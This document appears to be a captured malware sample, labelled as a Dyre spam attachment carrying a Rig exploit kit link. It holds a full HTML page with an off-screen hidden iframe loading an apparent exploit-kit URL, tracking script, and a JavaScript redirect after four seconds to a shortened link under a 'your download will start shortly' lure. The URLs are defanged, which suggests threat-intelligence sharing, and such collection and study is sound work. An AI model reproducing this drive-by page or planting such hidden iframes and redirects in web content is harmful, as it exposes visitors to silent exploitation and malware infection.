Dyre spam containing Rig EK link

<html>
<head>
 <iframe src="http://trip.ensiteweb[.]net/?w36KfrmeKh7OCII=l3SKfPrfJxzFGMSUb-nJDa9GPkXCRQLPh4SGhKrXCJ-ofSih17OIFxzsmTu2KV_OpqxveN0SZFT_zR3AaQ4ilotXQB5MrPzwnEqWwxWeioWD-0COaQhB-peQRbY82g71mrcdIc4uwECEuDcEz-1JU0gbrA" width="468" height="60" style="position:absolute;left:-10000px;"></iframe>
    <!-- Start of StatCounter Code for Default Guide -->
    <script type="text/javascript">
        var sc_project=10387098;
        var sc_invisible=1;
        var sc_security="3766d21c";
        var scJsHost = (("https:" == document.location.protocol) ?
            "https://secure." : "http://www.");
        document.write("<sc"+"ript type='text/javascript' src='" +
        scJsHost+
        "statcounter.com/counter/counter.js'></"+"script>");
    </script>
    <noscript><div class="statcounter"><a title="click tracking"
                                          href="http://statcounter.com/" target="_blank"><img
                    class="statcounter"
                    src="http://c.statcounter.com/10387098/0/3766d21c/1/"
                    alt="click tracking"></a></div></noscript>
    <!-- End of StatCounter Code for Default Guide -->
    <script type="text/javascript">
        <!--
        function delayer(){
            window.location = "http://bit[.]ly/1IffTJK"
        }
        //-->
    </script>
</head>
<body onLoad="setTimeout('delayer()', 4000)">
<p>You are being redirected. Your download will start shortly.</p>

</body>
</html>